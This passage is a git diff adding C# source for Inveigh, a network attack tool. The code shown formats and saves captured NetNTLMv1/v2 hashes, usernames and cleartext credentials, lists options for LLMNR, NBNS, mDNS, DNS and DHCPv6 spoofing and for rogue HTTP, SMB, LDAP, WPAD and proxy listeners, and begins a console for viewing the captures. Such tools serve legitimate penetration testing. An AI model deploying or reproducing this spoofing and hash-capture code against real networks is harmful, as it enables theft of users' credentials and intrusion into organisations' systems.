+ challengeResponse = user + "::" + domain + ":" + challenge + ":" + ntlmResponse.Insert(32, ":");
+ }
+ else
+ {
+ challengeResponse = user + "::" + domain + ":" + lmResponse + ":" + ntlmResponse + ":" + challenge;
+ }
+
+ if (Program.enabledMachineAccounts || (!Program.enabledMachineAccounts && !user.EndsWith("$")))
+ {
+
+ if (!string.IsNullOrEmpty(challenge))
+ {
+
+ if (!isNULL)
+ {
+ string capture = string.Concat(sourceIP, ",", host, ",", domain, "\\", user);
+ bool isUnique = false;
+
+ if (isNTLMv2 && Program.ntlmv2UsernameList.Any(str => str.Contains(capture)) || (!isNTLMv2 && Program.ntlmv1UsernameList.Any(str => str.Contains(capture))))
+ {
+ isUnique = true;
+ }
+
+ if (Program.enabledConsoleUnique && isUnique)
+ {
+ Queue(string.Format("[+] [{0}] {1}({2}) {3} captured for [{4}\\{5}] from {6}({7}):{8} [not unique]", Timestamp(), protocol, protocolPort, version, domain, user, sourceIP, host, sourcePort));
+ }
+ else
+ {
+ Queue(string.Format("[+] [{0}] {1}({2}) {3} captured for [{4}\\{5}] from {6}({7}):{8}:\r\n{9}", Timestamp(), protocol, protocolPort, version, domain, user, sourceIP, host, sourcePort, challengeResponse));
+ }
+
+ if (isNTLMv2)
+ {
+
+ if (Program.enabledFileOutput && (!Program.enabledFileUnique || !isUnique))
+ {
+
+ lock (Program.ntlmv2FileList)
+ {
+ Program.ntlmv2FileList.Add(challengeResponse);
+ }
+
+ Queue(string.Format("[!] [{0}] {1}({2}) {3} for [{4}\\{5}] written to {6}", Timestamp(), protocol, protocolPort, version, domain, user, string.Concat(Program.argFilePrefix, "-NTLMv2.txt")));
+ }
+
+ if (!isUnique)
+ {
+
+ lock (Program.ntlmv2UniqueList)
+ {
+ Program.ntlmv2UniqueList.Add(challengeResponse);
+ }
+
+ lock (Program.ntlmv2UsernameList)
+ {
+ Program.ntlmv2UsernameList.Add(string.Concat(sourceIP, ",", host, ",", domain, "\\", user, ",", challenge));
+ }
+
+ lock (Program.ntlmv2UsernameFileList)
+ {
+ Program.ntlmv2UsernameFileList.Add(string.Concat(sourceIP, ",", host, ",", domain, "\\", user, ",", challenge));
+ }
+
+ lock (Program.IPCaptureList)
+ {
+ Program.IPCaptureList.Add(string.Concat(host));
+ }
+
+ lock (Program.HostCaptureList)
+ {
+ Program.HostCaptureList.Add(string.Concat(host));
+ }
+
+ }
+
+ lock (Program.ntlmv2List)
+ {
+ Program.ntlmv2List.Add(challengeResponse);
+ }
+
+ }
+ else
+ {
+
+ if (Program.enabledFileOutput && (!Program.enabledFileUnique || !isUnique))
+ {
+
+ lock (Program.ntlmv1FileList)
+ {
+ Program.ntlmv1FileList.Add(challengeResponse);
+ }
+
+ Queue(string.Format("[+] [{0}] {1}({2}) {3} for [{4}\\{5}] written to {6}", Timestamp(), protocol, protocolPort, version, domain, user, string.Concat(Program.argFilePrefix, "-NTLMv1.txt")));
+ }
+
+ if (!isUnique)
+ {
+
+ lock (Program.ntlmv1UniqueList)
+ {
+ Program.ntlmv1UniqueList.Add(challengeResponse);
+ }
+
+ lock (Program.ntlmv1UsernameList)
+ {
+ Program.ntlmv1UsernameList.Add(string.Concat(sourceIP, ",", host, ",", domain, "\\", user, ",", challenge));
+ }
+
+ lock (Program.ntlmv1UsernameFileList)
+ {
+ Program.ntlmv1UsernameFileList.Add(string.Concat(sourceIP, ",", host, ",", domain, "\\", user, ",", challenge));
+ }
+
+ lock (Program.IPCaptureList)
+ {
+ Program.IPCaptureList.Add(string.Concat(host));
+ }
+
+ lock (Program.HostCaptureList)
+ {
+ Program.HostCaptureList.Add(string.Concat(host));
+ }
+
+ }
+
+ lock (Program.ntlmv1List)
+ {
+ Program.ntlmv1List.Add(challengeResponse);
+ }
+
+ }
+
+ }
+ else
+ {
+ Queue(string.Format("[.] [{0}] {1}({2}) NTLM null response from {5}({6}):{7}", Timestamp(), protocol, protocolPort, domain, user, sourceIP, host, sourcePort));
+ }
+
+ }
+ else
+ {
+ Queue(string.Format("[!] [{0}] {1}({2}) {3} challenge missing for {4}\\{5} from {6}({7}):{8}:", Timestamp(), protocol, protocolPort, version, domain, user, sourceIP, host, sourcePort));
+ Queue(challengeResponse);
+ }
+
+ }
+ else
+ {
+ Queue(string.Format("[-] [{0}] {1}({2}) {3} ignored for {4}\\{5} from {6}({7}):{8} [machine account]", Timestamp(), protocol, protocolPort, version, domain, user, sourceIP, host, sourcePort));
+ }
+
+ }
+
+ public static void FileOutput()
+ {
+
+ while (Program.isRunning)
+ {
+
+ try
+ {
+ ProcessFileOutput();
+ }
+ catch (Exception ex)
+ {
+ Queue(string.Format("[-] [{0}] File output error detected - {1}", Timestamp(), ex));
+ }
+
+ Thread.Sleep(200);
+ }
+
+ }
+
+ public static void SpooferOutput(string protocol, string type, string request, string clientIP, string outputMessage)
+ {
+ string status = "-";
+
+ if (outputMessage.Equals("response sent"))
+ {
+ status = "+";
+ }
+
+ Queue(string.Format("[{0}] [{1}] {2}({3}) request [{4}] from {5} [{6}]", status, Timestamp(), protocol, type, request, clientIP, outputMessage));
+ }
+
+ public static void DHCPv6Output(int msgType, string leaseIP, string clientIP, string clientMAC, string clientHostname, string message)
+ {
+ string responseStatus = "-";
+
+ if (string.Equals(message, "response sent"))
+ {
+ responseStatus = "+";
+ }
+
+ string responseType = "";
+ string responseAction = "";
+
+ switch (msgType)
+ {
+ case 1:
+ responseType = "solicitation";
+ responseAction = "advertised";
+ break;
+
+ case 3:
+ {
+ responseType = "request";
+ responseAction = "leased";
+ }
+ break;
+
+ case 5:
+ {
+ responseType = "renew";
+ responseAction = "renewed";
+ }
+ break;
+ }
+
+ if (msgType == 3 || msgType == 5 && !Program.dhcpv6List.Contains(clientHostname + "," + clientIP + "," + leaseIP))
+ {
+ Program.dhcpv6List.Add(clientHostname + "," + clientMAC + "," + leaseIP);
+ }
+
+ if (!string.IsNullOrEmpty(clientHostname))
+ {
+ Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] from {3}({4}) [{5}]", responseStatus, Output.Timestamp(), responseType, clientIP, clientHostname, message));
+ }
+ else
+ {
+ Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] from {3} [{4}]", responseStatus, Output.Timestamp(), responseType, clientIP, message));
+ }
+
+ if (string.Equals(message, "response sent"))
+ {
+ Output.Queue(string.Format("[{0}] [{1}] DHCPv6 [{2}] {3} to [{4}]", responseStatus, Output.Timestamp(), leaseIP, responseAction, clientMAC));
+ }
+ else
+ {
+ Output.Queue(string.Format("[{0}] [{1}] DHCPv6 client MAC [{2}]", responseStatus, Output.Timestamp(), clientMAC));
+ }
+
+ }
+
+ public static string Timestamp()
+ {
+ return DateTime.Now.ToString("HH:mm:ss");
+ }
+
+ public static void OutputHelp(string argument, string description)
+ {
+ int pad = 15;
+ Console.Write(" -" + argument.PadRight(pad));
+ Console.WriteLine(description);
+ Console.WriteLine();
+ }
+
+ public static void GetHelp(string arg)
+ {
+ bool nullarg = true;
+
+ Console.WriteLine();
+
+ if (nullarg)
+ {
+ Console.WriteLine("Control:");
+ Console.WriteLine("");
+ }
+
+ if (nullarg || string.Equals(arg, "INSPECT"))
+ {
+ string argument = "Inspect";
+ string description = "Default=Disabled: (Y/N) inspect traffic only.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IPV4"))
+ {
+ string argument = "IPv4";
+ string description = "Default=Enabled: (Y/N) IPv4 spoofing/capture.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IPV6"))
+ {
+ string argument = "IPv6";
+ string description = "Default=Enabled: (Y/N) IPv6 spoofing/capture.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "RUNCOUNT"))
+ {
+ string argument = "RunCount";
+ string description = "Default=Unlimited: Number of NetNTLM captures to perform before auto-exiting.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "RUNTIME"))
+ {
+ string argument = "RunTime";
+ string description = "Default=Unlimited: Run time duration in minutes.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg)
+ {
+ Console.WriteLine("");
+ Console.WriteLine("Output:");
+ Console.WriteLine("");
+ }
+
+ if (nullarg || string.Equals(arg, "CONSOLE"))
+ {
+ string argument = "Console";
+ string description = "Default=3: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no informational, 3=all)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CONSOLELIMIT"))
+ {
+ string argument = "ConsoleLimit";
+ string description = "Default=Unlimited: Limit to queued console entries.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CONSOLESTATUS"))
+ {
+ string argument = "ConsoleStatus";
+ string description = "Default=Disabled: Interval in minutes for auto-displaying capture details.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CONSOLEUNIQUE"))
+ {
+ string argument = "ConsoleUnique";
+ string description = "Default=Enabled: (Y/N) displaying only unique (user and system combination) hashes at time of capture.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "FILEDIRECTORY"))
+ {
+ string argument = "FileDirectory";
+ string description = "Default=Working Directory: Valid path to an output directory for enabled file output.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "FILEOUTPUT"))
+ {
+ string argument = "FileOutput";
+ string description = "Default=Disabled: (Y/N) real time file output.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "FILEPREFIX"))
+ {
+ string argument = "FilePrefix";
+ string description = "Default=Inveigh: Prefix for all output files.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "FILEUNIQUE"))
+ {
+ string argument = "FileUnique";
+ string description = "Default=Enabled: (Y/N) outputting only unique (user and system combination) hashes.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LOGOUTPUT"))
+ {
+ string argument = "LogOutput";
+ string description = "Default=Disabled: (Y/N) outputting log entries.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg)
+ {
+ Console.WriteLine();
+ Console.WriteLine("Spoofers:");
+ Console.WriteLine("");
+ }
+
+ if (nullarg || string.Equals(arg, "DHCPV6"))
+ {
+ string argument = "DHCPV6";
+ string description = "Default=Disabled: (Y/N) DHCPv6 spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DHCPV6TTL"))
+ {
+ string argument = "DHCPv6TTL";
+ string description = "Default=300: Lease lifetime in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNS"))
+ {
+ string argument = "DNS";
+ string description = "Default=Enabled: (Y/N) DNS spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSHOST"))
+ {
+ string argument = "DNSHost";
+ string description = "Fully qualified hostname to use SOA/SRV responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSSRV"))
+ {
+ string argument = "DNSSRV";
+ string description = "Default=LDAP: Comma separated list of SRV request services to answer.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSSUFFIX"))
+ {
+ string argument = "DNSSuffix";
+ string description = "DNS search suffix to include in DHCPv6/ICMPv6 packets.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSTTL"))
+ {
+ string argument = "DNSTTL";
+ string description = "Default=30: DNS TTL in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "DNSTYPES"))
+ {
+ string argument = "DNSTYPES";
+ string description = "Default=A: (A, SOA, SRV) Comma separated list of DNS types to spoof.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "ICMPV6"))
+ {
+ string argument = "ICMPv6";
+ string description = "Default=Enabled: (Y/N) sending ICMPv6 RAs for DHCPv6, secondary IPv6 DNS, or DNS search suffix.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "ICMPV6INTERVAL"))
+ {
+ string argument = "ICMPv6Interval";
+ string description = "Default=200: ICMPv6 RA interval in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREDOMAINS"))
+ {
+ string argument = "IgnoreDomains";
+ string description = "Default=None: Comma separated list of domains to ignore when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREHOSTS"))
+ {
+ string argument = "IgnoreHosts";
+ string description = "Default=None: Comma separated list of hostnames to ignore when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREIPS"))
+ {
+ string argument = "IgnoreIPs";
+ string description = "Default=Local: Comma separated list of source IP addresses to ignore when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREMACS"))
+ {
+ string argument = "IgnoreMACs";
+ string description = "Default=Local: Comma separated list of MAC addresses to ignore when DHCPv6 spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LOCAL"))
+ {
+ string argument = "Local";
+ string description = "Default=Disabled: (Y/N) performing spoofing attacks against the host system.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LLMNR"))
+ {
+ string argument = "LLMNR";
+ string description = "Default=Enabled: (Y/N) LLMNR spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LLMNRTTL"))
+ {
+ string argument = "LLMNRTTL";
+ string description = "Default=30: LLMNR TTL in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MAC"))
+ {
+ string argument = "MAC";
+ string description = "Local MAC address for DHCPv6.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNS"))
+ {
+ string argument = "MDNS";
+ string description = "Default=Enabled: (Y/N) mDNS spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNSQuestions"))
+ {
+ string argument = "MDNSQuestions";
+ string description = "Default=QU,QM: Comma separated list of question types to spoof. (QU,QM)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNSTTL"))
+ {
+ string argument = "MDNSTTL";
+ string description = "Default=120: mDNS TTL in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNSTYPES"))
+ {
+ string argument = "MDNSTypes";
+ string description = "Default=A: Comma separated list of mDNS record types to spoof. (A,AAAA,ANY)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MDNSUNICAST"))
+ {
+ string argument = "MDNSUnicast";
+ string description = "Default=Enabled: (Y/N) sending a unicast only response to a QM request.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "NBNS"))
+ {
+ string argument = "NBNS";
+ string description = "Default=Disabled: (Y/N) NBNS spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "NBNSTTL"))
+ {
+ string argument = "NBNSTTL";
+ string description = "Default=165: NBNS TTL in seconds.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "NBNSTYPES"))
+ {
+ string argument = "NBNSTypes";
+ string description = "Default=00,20: Comma separated list of NBNS types to spoof. (00,03,20,1B)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPLYTODOMAINS"))
+ {
+ string argument = "ReplyToDomains";
+ string description = "Default=All: Comma separated list of domains to respond to when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPLYTOHOSTS"))
+ {
+ string argument = "ReplyToHosts";
+ string description = "Default=All: Comma separated list of hostnames to respond to when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPLYTOIPS"))
+ {
+ string argument = "ReplyToIPs";
+ string description = "Default=All: Comma separated list of source IP addresses to respond to when spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPLYTOMACS"))
+ {
+ string argument = "ReplyToMACs";
+ string description = "Default=All: Comma separated list of MAC addresses to respond to when DHCPv6 spoofing.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SPOOFERIP"))
+ {
+ string argument = "SpooferIP";
+ string description = "Default=Autoassign: IP address included in spoofing responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SPOOFERIPV6"))
+ {
+ string argument = "SpooferIPv6";
+ string description = "Default=Autoassign: IPv6 address included in spoofing responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "REPEAT"))
+ {
+ string argument = "Repeat";
+ string description = "Default=Enabled: (Y/N) repeated spoofing attacks against a system after NetNTLM capture.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg)
+ {
+ Console.WriteLine();
+ Console.WriteLine("Capture:");
+ Console.WriteLine("");
+ }
+
+ if (nullarg || string.Equals(arg, "CERT"))
+ {
+ string argument = "Cert";
+ string description = "Base64 certificate for TLS.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CERTPASSWORD"))
+ {
+ string argument = "CertPassword";
+ string description = "Base64 certificate password for TLS.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "CHALLENGE"))
+ {
+ string argument = "Challenge";
+ string description = "Default=Random per request: 16 character hex NetNTLM challenge for use with the TCP listeners.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTP"))
+ {
+ string argument = "HTTP";
+ string description = "Default=Enabled: (Y/N) HTTP listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPAUTH"))
+ {
+ string argument = "HTTPAuth";
+ string description = "Default=NTLM: (Anonymous/Basic/NTLM) HTTP/HTTPS listener authentication.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPPORTS"))
+ {
+ string argument = "HTTPPorts";
+ string description = "Default=80: Comma seperated list of TCP ports for the HTTP listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPREALM"))
+ {
+ string argument = "HTTPRealm";
+ string description = "Default=ADFS: Basic authentication realm.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPRESPONSE"))
+ {
+ string argument = "HTTPResponse";
+ string description = "Content to serve as the default HTTP/HTTPS/Proxy response.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPS"))
+ {
+ string argument = "HTTPS";
+ string description = "Default=Enabled: (Y/N) HTTPS listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "HTTPSPORTS"))
+ {
+ string argument = "HTTPSPorts";
+ string description = "Default=443: Comma separated list of TCP ports for the HTTPS listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "IGNOREAGENTS"))
+ {
+ string argument = "IgnoreAgents";
+ string description = "Default=Firefox: Comma separated list of HTTP user agents to ignore with wpad anmd proxy auth.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LDAP"))
+ {
+ string argument = "LDAP";
+ string description = "Default=Enabled: (Y/N) LDAP listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LDAPPORTS"))
+ {
+ string argument = "LDAPPorts";
+ string description = "Default=389: Comma separated list of TCP ports for the LDAP listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LISTENERIP"))
+ {
+ string argument = "ListenerIP";
+ string description = "Default=Any: IP address for all listeners.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "LISTENERIPV6"))
+ {
+ string argument = "ListenerIPv6";
+ string description = "Default=Any: IPv6 address for all listeners.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "MACHINES"))
+ {
+ string argument = "Machines";
+ string description = "Default=Disabled: (Y/N) machine account NetNTLM captures.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "PROXY"))
+ {
+ string argument = "Proxy";
+ string description = "Default=Disabled: (Y/N) proxy listener authentication captures.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "PROXYAUTH"))
+ {
+ string argument = "ProxyAuth";
+ string description = "Default=NTLM: (Basic/NTLM) Proxy authentication.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "PROXYPORT"))
+ {
+ string argument = "ProxyPort";
+ string description = "Default=8492: Port for the proxy listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SMB"))
+ {
+ string argument = "SMB";
+ string description = "Default=Enabled: (Y/N) SMB sniffer/listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SMBPORTS"))
+ {
+ string argument = "SMBPorts";
+ string description = "Default=445: Port for the SMB listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SNIFFERIP"))
+ {
+ string argument = "SnifferIP";
+ string description = "Default=Autoassign: IP address included in spoofing responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "SNIFFERIPV6"))
+ {
+ string argument = "SnifferIPv6";
+ string description = "Default=Autoassign: IPv6 address included in spoofing responses.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "WEBDAV"))
+ {
+ string argument = "WebDAV";
+ string description = "Default=Enabled: (Y/N) serving WebDAV over HTTP/HTTPS listener.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "WEBDAVAUTH"))
+ {
+ string argument = "WebDAVAuth";
+ string description = "Default=NTLM: (Anonymous/Basic/NTLM) WebDAV authentication.";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "WPADAUTH"))
+ {
+ string argument = "WPADAuth ";
+ string description = "Default=Enabled: (Y/N) authentication type for wpad.dat requests. (Anonymous/Basic/NTLM)";
+ OutputHelp(argument, description);
+ }
+
+ if (nullarg || string.Equals(arg, "WPADRESPONSE"))
+ {
+ string argument = "WPADResponse";
+ string description = "Default=Autogenerated: Contents of wpad.dat responses.";
+ OutputHelp(argument, description);
+ }
+
+ Console.WriteLine();
+ }
+
+ public static void ProcessOutput()
+ {
+
+ while (Program.outputList.Count > 0)
+ {
+ if (Program.console == 3)
+ {
+ Program.consoleList.Add(Program.outputList[0]);
+ }
+
+ if (Program.console == 2 && (Program.outputList[0].StartsWith("[*]") || Program.outputList[0].StartsWith("[+]") || Program.outputList[0].StartsWith("[-]") || !Program.outputList[0].StartsWith("[")))
+ {
+ Program.consoleList.Add(Program.outputList[0]);
+ }
+
+ if (Program.console == 1 && (Program.outputList[0].StartsWith("[*]") || Program.outputList[0].StartsWith("[+]") || !Program.outputList[0].StartsWith("[")))
+ {
+ Program.consoleList.Add(Program.outputList[0]);
+ }
+
+ if (Program.enabledLogOutput)
+ {
+ Program.logList.Add(Program.outputList[0]);
+ }
+
+ if (Program.outputList[0].Contains(" captured for ") && !Program.outputList[0].EndsWith("[not unique]"))
+ {
+ Program.logFileList.Add(string.Concat(Program.outputList[0].Split('\n')[0].Replace(":\r"," "), "[redacted]"));
+ }
+ else
+ {
+ Program.logFileList.Add(Program.outputList[0]);
+ }
+
+ lock (Program.outputList)
+ {
+ Program.outputList.RemoveAt(0);
+ }
+
+ }
+
+ if (!Program.enabledConsoleOutput && Program.consoleQueueLimit >= 0)
+ {
+
+ while (Program.consoleList.Count > Program.consoleQueueLimit && !Program.enabledConsoleOutput)
+ {
+ Program.consoleList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ public static void ProcessFileOutput()
+ {
+
+ while (Program.logFileList.Count > 0)
+ {
+
+ using (StreamWriter outputFileLog = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-Log.txt")), true))
+ {
+ outputFileLog.WriteLine(Program.logFileList[0]);
+ outputFileLog.Close();
+
+ lock (Program.logFileList)
+ {
+ Program.logFileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.cleartextFileList.Count > 0)
+ {
+
+ using (StreamWriter outputFileCleartext = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-Cleartext.txt")), true))
+ {
+ outputFileCleartext.WriteLine(Program.cleartextFileList[0]);
+ outputFileCleartext.Close();
+
+ lock (Program.cleartextFileList)
+ {
+ Program.cleartextFileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.ntlmv1FileList.Count > 0)
+ {
+
+ using (StreamWriter outputFileNTLMv1 = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-NTLMv1.txt")), true))
+ {
+ outputFileNTLMv1.WriteLine(Program.ntlmv1FileList[0]);
+ outputFileNTLMv1.Close();
+
+ lock (Program.ntlmv1FileList)
+ {
+ Program.ntlmv1FileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.ntlmv2FileList.Count > 0)
+ {
+
+ using (StreamWriter outputFileNTLMv2 = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-NTLMv2.txt")), true))
+ {
+ outputFileNTLMv2.WriteLine(Program.ntlmv2FileList[0]);
+ outputFileNTLMv2.Close();
+
+ lock (Program.ntlmv2FileList)
+ {
+ Program.ntlmv2FileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.ntlmv1UsernameFileList.Count > 0)
+ {
+
+ using (StreamWriter outputUsernameFileNTLMv1 = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-NTLMv1Users.txt")), true))
+ {
+ outputUsernameFileNTLMv1.WriteLine(Program.ntlmv1UsernameFileList[0]);
+ outputUsernameFileNTLMv1.Close();
+
+ lock (Program.ntlmv1UsernameList)
+ {
+ Program.ntlmv1UsernameFileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ while (Program.ntlmv2UsernameFileList.Count > 0)
+ {
+
+ using (StreamWriter outputUsernameFileNTLMv2 = new StreamWriter(Path.Combine(Program.argFileDirectory, string.Concat(Program.argFilePrefix, "-NTLMv2Users.txt")), true))
+ {
+ outputUsernameFileNTLMv2.WriteLine(Program.ntlmv2UsernameFileList[0]);
+ outputUsernameFileNTLMv2.Close();
+
+ lock (Program.ntlmv2UsernameFileList)
+ {
+ Program.ntlmv2UsernameFileList.RemoveAt(0);
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Support/Shell.cs b/Inveigh/Support/Shell.cs
new file mode 100644
index 0000000..d42a2cc
--- /dev/null
+++ b/Inveigh/Support/Shell.cs
@@ -0,0 +1,749 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using System.Threading;
+
+namespace Inveigh
+{
+ class Shell
+ {
+ internal static int cursorLength;
+ internal static StringBuilder builder = new StringBuilder();
+
+ public static void ConsoleLoop()
+ {
+ int x = Console.CursorLeft;
+ int y = Console.CursorTop;
+ Program.enabledConsoleOutput = false;
+ ConsolePrompt();
+
+ List<string> commandList = new List<string>
+ {
+ "get console",
+ "get dhcpv6leases",
+ "get log",
+ "get ntlmv1",
+ "get ntlmv2",
+ "get ntlmv1unique",
+ "get ntlmv2unique",
+ "get ntlmv1usernames",
+ "get ntlmv2usernames",
+ "get cleartext",
+ "get cleartextunique",
+ "history",
+ "resume",
+ "stop"
+ };
+
+ commandList.Sort();
+ ConsoleKeyInfo input = Console.ReadKey(intercept: true);
+ int i = 0;
+
+ while (input.Key != ConsoleKey.Enter && input.Key != ConsoleKey.Escape)
+ {
+
+ if (input.Key == ConsoleKey.Tab)
+ {
+ KeypressTab(builder, commandList, ref input);
+
+ if (input.Key == ConsoleKey.Enter)
+ {
+
+ if (builder.Length > 0 && builder.ToString().Replace(" ", "").Length > 0 && commandList.Any(item => item.StartsWith(builder.ToString(), true, CultureInfo.InvariantCulture)))
+ {
+ Program.commandHistoryList.Add(builder.ToString());
+ }
+
+ Program.isCleartextUpdated = false;
+ Program.isNTLMv1Updated = false;
+ Program.isNTLMv2Updated = false;
+ Program.isCleartextUniqueUpdated = false;
+ Program.isNTLMv1UniqueUpdated = false;
+ Program.isNTLMv2UniqueUpdated = false;
+
+ ClearCurrentLineFull();
+ break;
+ }
+
+ }
+ else if (input.Key == ConsoleKey.DownArrow && Program.commandHistoryList.Count > 0)
+ {
+
+ if (i < 0 || i >= Program.commandHistoryList.Count - 1)
+ {
+ i = 0;
+ }
+
+ if (Program.commandHistoryList.Count > i && string.Equals(Program.commandHistoryList[i], builder.ToString()))
+ {
+ i++;
+ }
+
+ if (Program.commandHistoryList.Count > i)
+ {
+ ClearCurrentLine();
+ Console.Write(Program.commandHistoryList[i]);
+ builder = new StringBuilder(Program.commandHistoryList[i]);
+ i++;
+ }
+
+
+ }
+ else if (input.Key == ConsoleKey.UpArrow && Program.commandHistoryList.Count > 0)
+ {
+
+ if (i <= 0)
+ {
+ i = Program.commandHistoryList.Count - 1;
+ }
+
+
+ if (i > 0 && Program.commandHistoryList.Count > i && string.Equals(Program.commandHistoryList[i], builder.ToString()))
+ {
+ i--;
+ }
+
+ if (Program.commandHistoryList.Count > i)
+ {
